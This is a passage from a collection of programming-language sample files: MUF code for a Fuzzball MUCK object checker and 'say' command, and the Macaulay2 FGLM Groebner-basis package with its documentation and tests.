unparseobj \" is unlinked.\" strcat .tell\n   else\n      dup getlink over location dbcmp if\n         dup islocked? not if\n            dup unparseobj\n            \" is linked to it's location, but is unlocked.\"\n            strcat .tell\n         then\n      else (is not linked to it's location)\n         dup getlink program? if\n            dup dup owner swap getlink can-linkto? not if\n               dup unparseobj\n               \" is linked to a program which is not Link_OK.\"\n               strcat .tell\n            then\n         then\n      then\n   then\n   pop\n;\n         \n: check-room (d -- )\n   dup check-desc\n   dup islocked? if\n      dup islocked_always? not if\n         dup check-succ\n      then\n      dup check-fail\n   then\n   dup getlink if\n      dup check-drop\n      dup check-odrop\n   then\n   dup check-contents\n   check-exits\n;\n   \n: check-exit ( d -- )\n   dup check-link\n   dup check-desc\n   dup getlink dup ok? if\n      program? not if\n         dup islocked_always? not if\n            dup check-succ\n            dup check-osucc\n            dup check-odrop\n         then\n         dup islocked? if\n            dup check-fail\n            dup check-ofail\n         then\n      then\n   else pop\n   then\n   pop\n;\n   \n: check-thing ( d -- )\n   dup check-desc\n   dup islocked_always? not if\n      dup check-succ\n      dup check-osucc\n   then\n   dup islocked? if\n      dup check-fail\n      dup check-ofail\n   then\n   dup check-drop\n   dup check-odrop\n   check-exits\n;\n   \n: check-player ( d -- )\n   dup check-desc\n   dup islocked_always? not if\n      dup check-succ\n      dup check-osucc\n   then\n   dup islocked? if\n      dup check-fail\n      dup check-ofail\n   then\n   dup check-contents\n   check-exits\n;\n   \n: check-program ( d -- )\n   check-desc\n;\n   \n: check-obj (d -- )\n   dup room?   if check-room   exit then\n   dup exit?   if check-exit   exit then\n   dup thing?  if check-thing  exit then\n   dup player? if check-player exit then\n   check-program\n;\n   \n: main\n   'check-obj check-obj-addr !\n   .strip dup not if pop \"here\" then\n   .match_controlled\n   dup #-3 dbcmp if pop me @ getlink then\n   dup ok? not if pop exit then\n   check-obj\n   me @ \"Check done.\" notify\n;\n"
  },
  {
    "path": "samples/MUF/cmd-say.muf",
    "content": "@program cmd-say.muf\n1 1000 d\ni\n( cmd-say.muf by Natasha@HLM\n\n  Copyright 2002-2004 Natasha Snunkmeox. Copyright 2002-2004 Here Lie Monsters.\n  \"@view $box/mit\" for license information.\n)\n$author Natasha Snunkmeox <natmeox@neologasm.org>\n$note Say for Fuzzball 6.\n$version 1.0\n\n$include $lib/ignore\n$include $lib/strings\n$include $lib/match\n\n$def str_program \"saypose\"\n$def prop_third \"_prefs/say/third\"\n$def prop_quotes \"_say/def/quotes\"\n$def prop_overb \"_say/def/osay\"\n$def prop_verb \"_say/def/say\"\n$def prop_split \"_prefs/say/split\"\n$def prop_color \"_prefs/say/color\"\n$def prop_meow \"_prefs/say/meow\"\n\nlvar randomWord\n\nlvar verb\nlvar overb\nlvar lquo\nlvar rquo\nlvar splitsay\n\n: rtn-getThirdVerb[ var:overb -- ]\n    ( Get the third-person verb. )\n    me @ prop_overb getpropstr dup if  ( str strOverb )\n        strip dup dup \",\" instr not and if \",\" strcat then\n    else pop \"says,\" then  ( str strOverb )\n    me @ \"%D %s\" fmtstring overb @ !  ( str )\n;\n\n: rtn-getFirstVerb[ var:verb var:overb -- ]\n    me @ prop_third getpropstr .yes? not if  ( str )\n        ( Get the first-person verb. )\n        me @ prop_verb getpropstr dup if  ( str strVerb )\n            strip dup dup \",\" instr not and if \",\" strcat then\n        else pop \"say,\" then  ( str strVerb )\n        splitsay @ if \"you %s\" else \"You %s\" then fmtstring  ( str strVerb )\n    else overb @ @ then verb @ !  ( str )\n;\n\n: rtn-getQuotes[ var:lquo var:rquo -- ]\n    me @ prop_quotes getpropstr dup \"%m\" instr if  ( strQuotes )\n        \"%m\" split  ( strLquo strRquo )\n    else pop \"\\\"\" dup then  ( strLquo strRquo )\n    rquo @ ! lquo @ !  (  )\n;\n\n: do-say  ( str -- )\n    \"\" randomWord !\n\n    var who\n    var exclude\n\n    ( Ignoring? Get 'em outta here. )\n    loc @ contents_array  ( str arrHere )\n    dup me @ str_program array_get_ignorers  ( str arrHere arrIgnorers )\n    dup exclude !\n    swap array_diff who !\n\n\n    ( Anyone #meowing this player? Go ahead and notify before special formatting. )\n    who @ prop_meow me @ owner \"*{%d}*\" fmtstring array_filter_prop  ( str arrMeow )\n    dup if  ( str arrMeow )\n        dup who @ array_diff who !  ( str arrMeow )\n        dup exclude @ array_union exclude !  ( str arrMeow )\n\n        over ansi_strip  ( str arrMeow str )\n        \"\\\\b[A-Z0-9_]+\\\\b\" \"MEOW\" REG_ALL regsub  ( str arrMeow str' )\n        \"\\\\b[A-Z0-9_][A-Za-z0-9_]*[a-z][A-Za-z0-9_]*\\\\b\" \"Meow\" REG_ALL regsub  ( str arrMeow str' )\n        \"\\\\b[a-z_][A-Za-z0-9_]*\\\\b\" \"meow\" REG_ALL regsub  ( str arrMeow str' )\n        me @ \"%D meows, \\\"%s\\\"\" fmtstring  ( str arrMeow str\" )\n        1 array_make swap array_notify  ( str )\n    else pop then  ( str )\n\n\n    var msg\n\n    dup \",,\" instr  ( str boolCommas )\n    me @ prop_split getpropstr .no? not  ( str boolCommas boolSplitOK )\n    and if  ( str )\n        \",,\" split  ( str- -str )\n\n        ( User-supplied verb? )\n        dup \",,\" instr if\n            \",,\" split  ( str- strVerb -str )\n            swap dup if  ( str- -str strVerb )\n                strip  ( str- -str strVerb )\n                dup me @ name instr over tolower \"%n\" instr or if  ( str- -str strVerb )\n                    \"%n\" \"%N\" subst me @ name \"%n\" subst  ( str- -str strVerb )\n                else\n                    me @ swap \"%s %D,\" fmtstring  ( str- -str -str- )\n                then  ( str- -str -str- )\n                dup \"*[-!.,:;]\" smatch not if \",\" strcat then  ( str- -str -str- )\n                dup verb ! overb !  ( str- -str )\n            else pop then  ( str- -str )\n        then  ( str- -str )\n\n        2 array_make  ( arrMsg )\n        1\n    else 0 then splitsay ! msg !\n\n\n    verb @ string? not if\n        overb rtn-getThirdVerb\n        verb overb rtn-getFirstVerb\n    then\n    lquo rquo rtn-getQuotes  ( str )\n\n\n    ( Say. )\n    msg @ string? if\n        rquo @ msg @ lquo @  ( strRquo strMsg strLquo )\n        \"%s %s%s%s\"  ( strRquo strMsg strLquo strFormat )\n\n        4 dupn\n        verb  @ swap fmtstring .tell  ( strRquo strMsg strLquo strFormat )\n        overb @ swap fmtstring  ( strOsay )\n    else\n        rquo @ msg @ array_vals pop  ( strRquo strMsg strMsg2 )\n        swap dup \"*[-!.,:;]\" smatch not if \",\" strcat then swap  ( strRquo strMsg strMsg2 )\n        ( Only handle strMsg if there's no strMsg2. )\n        dup if  ( strRquo strMsg strMsg2 )\n            swap  ( strRquo strMsg2 strMsg )\n            lquo @ swap rquo @ swap lquo @  ( strRquo strMsg2 strLquo strRquo strMsg' strLquo )\n            \"%s%s%s %s %s%s%s\"  ( strRquo strMsg2 strLquo strRquo strMsg' strLquo strFormat )\n\n            7\n        else  ( strRquo strMsg strMsg2 )\n            pop lquo @  ( strRquo strMsg' strLquo )\n            \"%s%s%s %s\"  ( strRquo strMsg' strLquo strFormat )\n\n            verb @ \",$\" \".\" 0 regsub verb !\n            overb @ \",$\" \".\" 0 regsub overb !\n\n            4\n        then  ( ... strRquo strMsg strLquo strFormat intDepth )\n\n        dupn\n        verb  @ -5 rotate fmtstring .tell  ( ... strRquo strMsg strLquo strFormat )\n        overb @ -5 rotate fmtstring  ( strOsay )\n    then  ( strOsay )\n\n\n    ( Is there color to avoid? )\n    dup \"\\[[\" instr if\n        who @ prop_color \"{n*|0}\" array_filter_prop  ( strOsay arrGreyed )\n        dup if  ( strOsay arrGreyed )\n            over ansi_strip 1 array_make  ( strOsay arrGreyed arrMsg )\n            over array_notify  ( strOsay arrGreyed )\n\n            exclude @ array_union exclude !  ( strOsay )\n        else pop then  ( strOsay )\n    then  ( strOsay )\n\n    loc @  ( strOsay db )\n    exclude @ array_vals  ( strOsay db dbExcludeN..dbExclude1 intN )\n    me @ swap ++  ( strOsay db dbGreyedN..dbGreyed1' intN' )\n    dup 3 + rotate  ( db dbGreyedN..dbGreyed1 intN strOsay )\n    notify_exclude  (  )\n;\n\n: do-help pop pop .showhelp ;\n: do-ignore pop str_program cmd-ignore-add ;\n: do-unignore pop str_program cmd-ignore-del ;\n\n: do-third  ( strY strZ -- )\n    pop pop  (  )\n    me @ prop_third \"yes\" setprop\n    me @ \"You will see your own says in the third person (\\\"%D says\\\").\" fmtstring .tellgood\n;\n: do-unthird  ( strY strZ -- )\n    pop pop  (  )\n    me @ prop_third remove_prop\n    \"You will see your own says in the second person (\\\"You say\\\").\" .tellgood\n;\n\n: do-grey  ( strY strZ -- )\n    pop pop  (  )\n    me @ prop_color \"no\" setprop\n    me @ \"You will not see color in any says. Note you will see color in your own says.\" fmtstring .tellgood\n;\n: do-ungrey  ( strY strZ -- )\n    pop pop  (  )\n    me @ prop_color remove_prop\n    \"You will see color in says.\" .tellgood\n;\n\n: do-meow  ( strY strZ -- )\n    pop  ( strY )\n    dup if\n        .noisy_pmatch dup ok? not if pop exit then  ( db )\n        me @ prop_meow 3 pick reflist_find if  ( db )\n            \"%D is already in your #meow list.\" fmtstring .tellbad exit  (  )\n        then  ( db )\n        me @ prop_meow 3 pick reflist_add  ( db )\n        \"%D added.\" fmtstring .tellgood\n    else\n        me @ prop_meow array_get_reflist  ( arr )\n        \"\" swap foreach swap pop \"%D %s\" fmtstring repeat\n        \"Your meowlist: \" swap strcat .tellgood\n    then\n;\n: do-unmeow  ( strY strZ -- )\n    pop  ( strY )\n    .noisy_pmatch dup ok? not if pop exit then  ( db )\n    me @ prop_meow 3 pick reflist_find not if  ( db )\n        \"%D is not in your #meow list.\" fmtstring .tellbad exit  (  )\n    then  ( db )\n    me @ prop_meow 3 pick reflist_del  ( db )\n    \"%D removed.\" fmtstring .tellgood\n;\n\n$define dict_commands {\n    \"help\"    'do-help\n    \"ignore\"  'do-ignore\n    \"!ignore\" 'do-unignore\n    \"meow\"    'do-meow\n    \"!meow\"   'do-unmeow\n    \"third\"   'do-third\n    \"!third\"  'do-unthird\n    \"grey\"    'do-grey\n    \"gray\"    'do-grey\n    \"!grey\"   'do-ungrey\n    \"!gray\"   'do-ungrey\n}dict $enddef\n\n: main  ( str -- )\n    dup STRparse  ( str strX strY strZ )\n    3 pick string? if 3 pick \"#\" stringpfx if  ( str strX strY strZ )\n        pop pop pop  ( str )\n        \"#\" split strcat  ( str' )\n        do-say exit  (  )\n    then then\n    3 pick int? if pop pop pop do-say exit then\n    4 rotate pop  ( strX strY strZ )\n\n    rot dict_commands over array_getitem  ( strY strZ strX ? )\n    dup address? if  ( strY strZ strX adr )\n        swap pop  ( strY strZ adr )\n        execute  (  )\n    else pop  ( strY strZ strX )\n        \"I don't recognize the command '#%s'. Try 'say #help' for help, or using '##' to say something starting with '#'.\" fmtstring .tellbad  ( strY strZ )\n        pop pop  (  )\n    then  (  )\n;\n.\nc\nq\n\nlsedit #257=_help\n.del 1 $\nsay <message>\n.\"<message>\nsay #[!]ignore <names>\nsay #[!]third\nsay #[!]grey\nsay #[!]meow <names>\n\nSpeaks <message> to the room. Use #ignore <name> to not see <name>'s says, poses, and spoofs; use #meow <name> to see <name>'s says with all the words replaced with \"meow.\" Use #third to see your own says in the third person (that is, \"Puck says\" instead of the normal \"You say\"). Use #grey to turn off color in others' says and poses.\n\nSay supports a \"split\" say if you put two consecutive commas in your message. For example, if CobaltBlue typed '\"Hello,,how are you?' everyone would see '\"Hello,\" says CobaltBlue, \"how are you?\"' You can also specify an \"ad-hoc\" verb by putting a message with your name or '%N' between pairs of commas: '\"Hello,,%N welcomes Weiran,,how are you?' would display '\"Hello,\" CobaltBlue welcomes Weiran, \"how are you?\"'\n.format 10=78\n.format 8=78\n.end\n"
  },
  {
    "path": "samples/Macaulay2/FGLM.m2",
    "content": "-- Source: https://github.com/Macaulay2/M2/blob/version-1.14/M2/Macaulay2/packages/FGLM.m2\n\nnewPackage(\n    \"FGLM\",\n    Version => \"1.0.0\",\n    Date => \"May 20, 2019\",\n    Authors => {\n        { Name => \"Dylan Peifer\",   Email => \"djp282@cornell.edu\", HomePage => \"https://math.cornell.edu/~djp282\" },\n        { Name => \"Mahrud Sayrafi\", Email => \"mahrud@umn.edu\",     HomePage => \"https://math.umn.edu/~mahrud\" }\n        },\n    Headline => \"Groebner bases via the FGLM algorithm\"\n    )\n\n-*\nCopyright (C) 2019 Dylan Peifer and Mahrud Sayrafi\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\n*-\n\nexport {\"fglm\"}\n\n-------------------------------------------------------------------------------\n--- top level functions\n-------------------------------------------------------------------------------\n\n---------------------------------------------------------------------------\n-- See Section 2.4.4, Algorithm 2.5 of Thibaut Verron's thesis for details:\n-- https://thibautverron.github.io/doc/2016-these.pdf\n---------------------------------------------------------------------------\nfglm = method()\nfglm(Ideal,         Ring) := GroebnerBasis => (I1, R2) -> fglm(gb I1, R2)\nfglm(GroebnerBasis, Ring) := GroebnerBasis => (G1, R2) -> (\n    -- G1 = a Groebner basis for I1 in R1\n    -- R2 = a polynomial ring\n    -- returns Groebner basis G2 of the ideal generated by G1 in the ring R2\n\n    R1 := ring G1;\n    I1 := ideal gens G1; -- TODO: make a github issue add gb to cache\n    if R1 == I1 then return forceGB(sub(gens G1, R2));\n    if dim I1 > 0 then error \"expected zero-dimensional ideal\";\n    if #gens R1 != #gens R2 then error \"expected the same number of generators\";\n\n    M := multiplicationMatrices G1;\n    m := numcols M#0;\n    n := #gens R2;\n\n    -- elements in the groebner basis\n    G2 := new MutableHashTable from {}; -- leading term => gb element\n    -- elements in the staircase\n    B2 := new MutableHashTable from {1_R2 => true};\n\n    -- normal form translation table\n    -- Note: we want dense mutable matrices\n    V := new MutableHashTable from {\n\t 1_R2 => transpose matrix { {1_(coefficientRing R1)} | toList ((m-1):0) }\n\t };\n\n    -- list of elements between the staircase and groebner basis generators\n    -- Note: use a heap in the engine for this\n    S := new MutableHashTable from for i to n - 1 list R2_i * 1_R2 => (i, 1_R2);\n\n    while #S > 0 do (\n\t-- TODO: use O(1) min for fun and profit\n\t(elt, vals) := min pairs S;\n\tremove(S, elt);\n\tif any(keys G2, lt -> elt % lt == 0) then continue;\n\t(i, mu) := vals;\n\tv := M#i * V#mu;\n\n\t-- FIXME: About 70% of time is spent on these three lines:\n\tVS := matrix { for s in keys B2 list V#s };\n\tif v % VS == 0 then (\n\t    lambda := solve(VS, v);\n\t    -- TODO: don't remake a matrix every time\n\t    g := elt - matrix {keys B2} * lambda;\n\t    G2#elt = g;\n\t    ) else (\n\t    -- TODO: add elt to VS and row reduce here\n\t    V#elt = v;\n\t    B2#elt = true;\n\t    -- Add the product of elt and generators of R2 to S\n\t    for j to n - 1 do if not B2#?(R2_j * elt) then S#(R2_j * elt) = (j, elt);\n\t    );\n\t);\n    forceGB(matrix {values G2})\n    )\n\n-------------------------------------------------------------------------------\n-- See Section 2.4.4, Algorithm 2.4 of Thibaut Verron's thesis for details:\n-- https://thibautverron.github.io/doc/2016-these.pdf\n-- Applies more \"tricks\"\n-------------------------------------------------------------------------------\n-- TODO: Move to engine\n-- TODO: return MutableMatrix\nmultiplicationMatrices' = method()\nmultiplicationMatrices'(GroebnerBasis) := List => (G) -> (\n    -- G = a GroebnerBasis\n    -- returns the matrices giving multiplication by variables in R/I\n\n    R := ring G;\n    I := ideal gens G;\n    B := first entries sub(basis (R/I), R); -- TODO: find a way to avoid recomputing GB\n    N := new MutableHashTable from for b in B list b => b;\n    F := flatten for x in gens R list flatten apply(B, b -> if not N#?(x * b) then x * b else {});\n    F = sort F;\n\n    for mu in F do (\n\ti := position(first entries leadTerm G, g -> mu == leadMonomial g);\n\tif i =!= null then (\n\t    g := (gens G)_i_0;\n\t    N#mu = mu - g // leadCoefficient g; -- Verron has typo in line 9\n\t    ) else (\n\t    j := position(F, mu' -> mu % mu' == 0 and any(gens R, x -> mu == x * mu'));\n\t    mu' := F#j;\n\t    (gs, cs) := coefficients N#mu';\n\t    N#mu = sum apply(first entries gs, first entries transpose cs, (g, c) -> N#(g * mu // mu') * c);\n\t    );\n\t);\n\n    for x in gens R list lift(last coefficients(matrix{apply(x * B, elt -> N#elt)}, Monomials => B), coefficientRing R)\n    )\n\n-- TODO: Make this into a more general function that gets\n-- (f: ring elt, S: quotient ring, B: basis) -> (M: multiplication matrix of f)\nmultiplicationMatrices = method()\nmultiplicationMatrices(GroebnerBasis) := List => (G) -> (\n    -- G = a GroebnerBasis\n    -- returns the matrices giving multiplication by variables in R/I\n\n    R := ring G;\n    I := ideal gens G;\n    B := basis (R/I); -- TODO: find a way to avoid recomputing GB\n\n    for x in gens R list lift(last coefficients(x * B, Monomials => B), coefficientRing R)\n    )\n\n-------------------------------------------------------------------------------\n--- Helper functions for tests\n-------------------------------------------------------------------------------\n\ncyclic = method(Options => {CoefficientRing => ZZ/32003, MonomialOrder => GRevLex})\ncyclic(ZZ) := Ideal => opts -> (n) -> (\n    R := (opts.CoefficientRing)[vars(0..n-1), MonomialOrder => opts.MonomialOrder];\n    F := toList apply(1..n-1, d -> sum(0..n-1, i -> product(d, k -> R_((i+k)%n))))\n         | {product gens R - 1};\n    ideal F\n    )\n\nkatsura = method(Options => {CoefficientRing => ZZ/32003, MonomialOrder => GRevLex})\nkatsura(ZZ) := Ideal => opts -> (n) -> (\n    n = n-1;\n    R := (opts.CoefficientRing)[vars(0..n), MonomialOrder => opts.MonomialOrder];\n    L := gens R;\n    u := i -> (\n\t if i < 0 then i = -i;\n\t if i <= n then L_i else 0_R\n\t );\n    f1 := -1 + sum for i from -n to n list u i;\n    F := toList prepend(f1, apply(0..n-1, i -> - u i + sum(-n..n, j -> (u j) * (u (i-j)))));\n    ideal F\n    )\n\ntest = (I1, MO2) -> (\n    R1 := ring I1;\n    R2 := (coefficientRing R1)(monoid ([gens R1], MonomialOrder => MO2));\n    G2 := gb(sub(I1, R2));\n    elapsedTime G2' := fglm(I1, R2);\n    assert(gens G2 == gens G2')\n    )\n\n-------------------------------------------------------------------------------\n--- documentation\n-------------------------------------------------------------------------------\nbeginDocumentation()\n\ndoc ///\nKey\n  FGLM\nHeadline\n  Compute Groebner bases via the FGLM algorithm\nDescription\n  Text\n    FGLM is a Groebner basis conversion algorithm. This means it takes a\n    Groebner basis of an ideal with respect to one monomial order and changes it\n    into a Groebner basis of the same ideal over a different monomial\n    order. Conversion algorithms can be useful since sometimes when a Groebner\n    basis over a difficult monomial order (such as lexicographic or an\n    elimination order) is desired, it can be faster to compute a Groebner basis\n    directly over an easier order (such as graded reverse lexicographic) and\n    then convert rather than computing directly in the original order. Other\n    examples of conversion algorithms include the Groebner walk and\n    Hilbert-driven Buchberger.\n\n    FGLM performs conversion by doing linear algebra in the quotient ring R/I,\n    where I is the ideal generated by the original Groebner basis in the\n    polynomial ring R. This requires that I is zero-dimensional.\n\n    In Macaulay2, monomial orders must be given as options to rings. For\n    example, the following ideal has monomial order given by graded reverse\n    lexicographic (which is also the default order in Macaulay2).\n\n  Example\n    R1 = QQ[x,y,z, MonomialOrder => GRevLex]\n    I1 = ideal(x*y + z - x*z, x^2 - z, 2*x^3 - x^2*y*z - 1)\n  Text\n    If we want a Groebner basis of I1 with respect to lexicographic order\n    we could substitute the ideal into\n    a new ring with that order and compute directly,\n  Example\n    R2 = QQ[x,y,z, MonomialOrder => Lex];\n    I2 = sub(I1, R2);\n    gens gb I2  -- performs computation in R2\n  Text\n    but it may be faster to compute directly in the first order and then use\n    FGLM.\n  Example\n    G1 = gb I1;  -- performs computation in R1\n    gens fglm(G1, R2)\n\n  Text\n    Further background and details can be found in the following resources:\n  Text\n    @UL {\n        \"Cox, Little, O'Shea - Using Algebraic Geometry (2005)\",\n        \"Faugere, Gianni, Lazard, Mora - Efficient Computation of Zero-dimensional\n         Groebner Bases by Change of Ordering (1993)\",\n        \"Gerdt, Yanovich - Implementation of the FGLM Algorithm and Finding Roots\n         of Polynomial Involutive Systems (2003)\"\n     }@\nCaveat\n  The ideal generated by the Groebner basis must be zero-dimensional.\nSeeAlso\n  groebnerBasis\n///\n\ndoc ///\nKey\n  fglm\n  (fglm, GroebnerBasis, Ring)\n  (fglm, Ideal, Ring)\nHeadline\n  convert a Groebner basis\nUsage\n  H = fglm(G, R)\n  H = fglm(I, R)\nInputs\n  G: GroebnerBasis\n     the starting Groebner basis\n  I: Ideal\n     the starting ideal\n  R: Ring\n     a ring with the target monomial order\nOutputs\n  H: GroebnerBasis\n     the new Groebner basis in the target monomial order\nDescription\n  Text\n    FGLM takes a Groebner basis of an ideal with respect to one monomial order\n    and changes it into a Groebner basis of the same ideal over a different\n    monomial order. The initial order is given by the ring of G and the target\n    order is the order in R. When given an ideal I as input a Groebner basis of\n    I in the ring of I is initially computed directly, and then this Groebner\n    basis is converted into a Groebner basis in the ring R.\n  Example\n    R1 = QQ[x,y,z];\n    I1 = ideal(x^2 + 2*y^2 - y - 2*z, x^2 - 8*y^2 + 10*z - 1, x^2 - 7*y*z);\n    R2 = QQ[x,y,z, MonomialOrder => Lex];\n    fglm(I1, R2)\nCaveat\n  The ideal I generated by G must be zero-dimensional. The target ring R must be\n  the same ring as the ring of G or I, except with different monomial order. R\n  must be a polynomial ring over a field.\nSeeAlso\n  FGLM\n  groebnerBasis\n///\n\n-------------------------------------------------------------------------------\n--- tests\n-------------------------------------------------------------------------------\n\nTEST ///\n  debug needsPackage \"FGLM\"\n  R1 = ZZ/101[x,y,z]\n  I1 = ideal(x*y + z - x*z, x^2 - z, 2*x^3 - x^2*y*z - 1)\n  test(I1, Lex)\n///\n\nTEST ///\n  debug needsPackage \"FGLM\"\n  R1 = QQ[x,y,z]\n  I1 = ideal(x^2 + 2*y^2 - y - 2*z, x^2 - 8*y^2 + 10*z - 1, x^2 - 7*y*z)\n  test(I1, Lex)\n///\n\nTEST ///\n  debug needsPackage \"FGLM\"\n  R1 = QQ[x,y,z]\n  I1 = ideal(x^2 + y^2 + z^2 - 2*x, x^3 - y*z - x, x - y + 2*z)\n  test(I1, Lex)\n///\n\nTEST ///\n  debug needsPackage \"FGLM\"\n  R1 = QQ[x,y,z]\n  I1 = ideal(x*y + z - x*z, x^2 - z, 2*x^3 - x^2*y*z - 1)\n  test(I1, Lex)\n///\n\nTEST ///\n  -- katsura6\n  -- gb: 0.123865\n  -- fglm: 0.115399\n  debug needsPackage \"FGLM\"\n  I = katsura(6, MonomialOrder=>Lex)\n  G1 = elapsedTime gb I\n  I = katsura(6)\n  R = newRing(ring I, MonomialOrder=>Lex)\n  G2 = elapsedTime fglm(I, R)\n  assert(sub(gens G2, ring G1) == gens G1)\n///\n\nTEST ///\n  -- cyclic6\n  -- gb: 0.280165\n  -- fglm: 0.885988\n  debug needsPackage \"FGLM\"\n  I = cyclic(6, MonomialOrder=>Lex)\n  G1 = elapsedTime gb I\n  I = cyclic(6)\n  R = newRing(ring I, MonomialOrder=>Lex)\n  G2 = elapsedTime fglm(I, R)\n  assert(sub(gens G2, ring G1) == gens G1)\n///\n\nend--\n\n-------------------------------------------------------------------------------\n--- Development sections\n-------------------------------------------------------------------------------\n\nrestart\nuninstallPackage \"FGLM\"\nrestart\ninstallPackage \"FGLM\"\n\nrestart\nneedsPackage \"FGLM\"\nelapsedTime check FGLM -- ~3.2 seconds\n\nviewHelp \"FGLM\"\n\n\n-------------------------------------------------------------------------------\n--- Longer tests\n-------------------------------------------------------------------------------\n\n-- cyclic7\n-- gb: 1354.44\n-- fglm: 353.367\nrestart\ndebug needsPackage \"FGLM\"\nI = cyclic(7, MonomialOrder=>Lex)\nG1 = elapsedTime gb I\nI = cyclic(7)\nR = newRing(ring I, MonomialOrder=>Lex)\nG2 = elapsedTime fglm(I, R)\n\n\n-- katsura7\n-- gb: 6.78653\n-- fglm: 0.779608\nrestart\ndebug needsPackage \"FGLM\"\nI = katsura(7, MonomialOrder=>Lex)\nG1 = elapsedTime gb I\nI = katsura(7)\nR = newRing(ring I, MonomialOrder=>Lex)\nG2 = elapsedTime fglm(I, R)\n\n\n-- katsura8\n-- gb: 2305.46\n-- fglm: 8.23514\nrestart\ndebug needsPackage \"FGLM\"\nI = katsura(8, MonomialOrder=>Lex)\nG1 = elapsedTime gb I\nI = katsura(8)\nR = newRing(ring I, MonomialOrder=>Lex)\nG2 = elapsedTime fglm(I, R)\n\n\n-- reimer5\n-- gb: 8.3658\n-- fglm: 3.79775\nrestart\nneedsPackage \"FGLM\"\nkk = ZZ/32003\nR1 = kk[x,y,z,t,u, MonomialOrder=>Lex]\nI1 = ideal(2*x^2 - 2*y^2 + 2*z^2 - 2*t^2 + 2*u^2 - 1,\n           2*x^3 - 2*y^3 + 2*z^3 - 2*t^3 + 2*u^3 - 1,\n           2*x^4 - 2*y^4 + 2*z^4 - 2*t^4 + 2*u^4 - 1,\n           2*x^5 - 2*y^5 + 2*z^5 - 2*t^5 + 2*u^5 - 1,\n           2*x^6 - 2*y^6 + 2*z^6 - 2*t^6 + 2*u^6 - 1)\nG1 = elapsedTime gb I1\nR2 = kk[x,y,z,t,u]\nI2 = sub(I1, R2)\nG2 = elapsedTime fglm(I2, R1)\n\n\n-- virasoro\n-- gb: 8.91079\n-- fglm: 52.1752\nrestart\nneedsPackage \"FGLM\"\nkk = ZZ/32003\nR1 = kk[x1,x2,x3,x4,x5,x6,x7,x8, MonomialOrder=>Lex]\nI1 = ideal(8*x1^2 + 8*x1*x2 + 8*x1*x3 + 2*x1*x4 + 2*x1*x5 + 2*x1*x6 + 2*x1*x7 - x1 - 8* x2*x3 - 2*x4*x7 - 2*x5*x6,\n           8*x1*x2 - 8*x1*x3 + 8*x2^2 + 8*x2*x3 + 2*x2*x4 + 2*x2*x5 + 2*x2*x6 + 2*x2* x7 - x2 - 2*x4*x6 - 2*x5*x7,\n\t   -8*x1*x2 + 8*x1*x3 + 8*x2*x3 + 8*x3^2 + 2*x3*x4 + 2*x3*x5 + 2*x3*x6 + 2* x3*x7 - x3 - 2*x4*x5 - 2*x6*x7,\n\t   2*x1*x4 - 2*x1*x7 + 2*x2*x4 - 2*x2*x6 + 2*x3*x4 - 2*x3*x5 + 8*x4^2 + 8*x4* x5 + 2*x4*x6 + 2*x4*x7 + 6*x4*x8 - x4 - 6*x5*x8,\n\t   2*x1*x5 - 2*x1*x6 + 2*x2*x5 - 2*x2*x7 - 2*x3*x4 + 2*x3*x5 + 8*x4*x5 - 6*x4* x8 + 8*x5^2 + 2*x5*x6 + 2*x5*x7 + 6*x5*x8 - x5,\n\t   -2*x1*x5 + 2*x1*x6 - 2*x2*x4 + 2*x2*x6 + 2*x3*x6 - 2*x3*x7 + 2*x4*x6 + 2* x5*x6 + 8*x6^2 + 8*x6*x7 + 6*x6*x8 - x6 - 6*x7*x8,\n\t   -2*x1*x4 + 2*x1*x7 - 2*x2*x5 + 2*x2*x7 - 2*x3*x6 + 2*x3*x7 + 2*x4*x7 + 2* x5*x7 + 8*x6*x7 - 6*x6*x8 + 8*x7^2 + 6*x7*x8 - x7,\n\t   -6*x4*x5 + 6*x4*x8 + 6*x5*x8 - 6*x6*x7 + 6*x6*x8 + 6*x7*x8 + 8*x8^2 - x8)\nG1 = elapsedTime gb I1;\nR2 = kk[x1,x2,x3,x4,x5,x6,x7,x8];\nI2 = sub(I1, R2);\nG2 = elapsedTime fglm(I2, R1);\n\n\n-- chemkin\n-- gb: 5916.76\n-- fglm: 4.46076\nrestart\nneedsPackage \"FGLM\"\nkk = ZZ/32003\nR1 = kk[w,x3,x4,y2,y3,y4,y5,z2,z3,z4,z5, MonomialOrder=>Lex]\nI1 = ideal(-4*w*y2 + 9*y2^2 + z2,\n           x3^2 + y3^2 + z3^2 - 1,\n           x4^2 + y4^2 + z4^2 - 1,\n           9*y5^2 + 9*z5^2 - 8,\n           -6*w*x3*y2 + 3*x3 + 3*y2*y3 + 3*z2*z3 - 1,\n           3*x3*x4 + 3*y3*y4 + 3*z3*z4 - 1,\n           x4 + 3*y4*y5 + 3*z4*z5 - 1,\n           -6*w + 3*x3 + 3*x4 + 8,\n           9*y2 + 9*y3 + 9*y4 + 9*y5 + 8,\n           z2 + z3 + z4 + z5,\n           w^2 - 2)\nG1 = elapsedTime gb I1\nR2 = kk[w,x3,x4,y2,y3,y4,y5,z2,z3,z4,z5]\nI2 = sub(I1, R2)\nG2 = elapsedTime fglm(I2, R1)\n"
  },
  {
    "path": "samples/Makefile/file-icons.make",
